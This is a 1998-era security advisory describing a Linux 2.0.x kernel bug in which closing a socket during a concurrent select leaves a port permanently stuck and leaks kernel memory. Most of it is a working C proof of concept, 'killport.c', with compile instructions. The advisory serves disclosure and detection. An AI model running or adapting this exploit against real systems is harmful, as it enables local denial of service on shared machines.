COMMAND

    kernel

SYSTEMS AFFECTED

    Linux 2.0.x

PROBLEM

    David Schwartz found following.   A local unprivileged account  is
    required to launch this attack.  Multithreaded programs that  work
    perfectly on other operating systems may accidentally trigger this
    bug on affected  Linux systems.   The effect of  this bug is  that
    anyone with a local account can permanently (until a reboot) steal
    any  ports  he  or  she  wants  (>1024,  of  course).   It becomes
    subsequently impossible to listen on this port.  Oddly, the kernel
    itself continues listening  on the port  and accepts incoming  TCP
    connections.  Kernel memory can be leaked in any quantity desired.
    Any number of ports can be made unusable.

    You  will  know  if  this  bug  has  been exploited on your system
    because you will see sockets stuck permanently in the 'CLOSE_WAIT'
    state.   There  is  no  way  to  determine which user launched the
    attack once  their process  terminates. (uid  field in  the kernel
    it's blank).  The way you trigger the bug is to open the port, and
    then while one thread selects on the port, another closes it.  Due
    to the select, the close fails.  The close can never happen again.
    The exploit code  below demonstrates the  bug without harming  the
    system  too  badly.   Much  more  vicious  exploits can be written
    trivially.

    // This program will kill a random port on a linux machine. The kernel will
    // forever listen to that port and send the connections nowhere. Tested with
    // Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
    // but removing LinuxThreads from your system will not solve the problem.

    // Discovered by David J. Schwartz <davids@webmaster.com>
    // Copyright (C) 1998, David J. Schwartz
    // Compile with:
    // gcc killport.c -lpthread -o killport

    #include <pthread.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <stdlib.h>
    #include <arpa/inet.h>
    #include <errno.h>

    volatile int s;

    void *Thread1(void *a)
    {
     int i,p;
     struct sockaddr_in to;
     fd_set fd;
     s=socket(AF_INET, SOCK_STREAM, 0);
     if(s<=0) return;
     memset(&to, 0, sizeof(to));
     srand(getpid());

     /* we pick a random port between 50000 and 59999 */
     p=(rand()%10000)+50000;

     printf("port = %d\n", p);
     fflush(stdout);
     to.sin_port=htons(p);
     to.sin_addr.s_addr=0;
     to.sin_family=AF_INET;
     if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
      fprintf(stderr,"no bind\n");
     if(listen(s,10)!=0)
      fprintf(stderr,"No Listen\n");
     /* now we are listening on that port */
     i=sizeof(to);
     FD_ZERO(&fd);
     FD_SET(s,&fd);
     select(s+1,&fd,NULL,NULL,NULL);
     /* at this point we have selected on it as well */
     fprintf(stderr,"select returned!\n");
    }

    void *Thread2(void *a)
    {
     close(s);
     fflush(stderr);
     abort();
    }

    void main(void)
    {
     pthread_t j;
     pthread_create(&j,NULL,Thread1,NULL);
     usleep(100); /* give the other thread time to finish */
     pthread_create(&j,NULL,Thread2,NULL);
     while(1) sleep(1);
    }

SOLUTION

    2.1.x and the 2.2.x-pre builds are not vulnerable.  The only  cure
    is a reboot.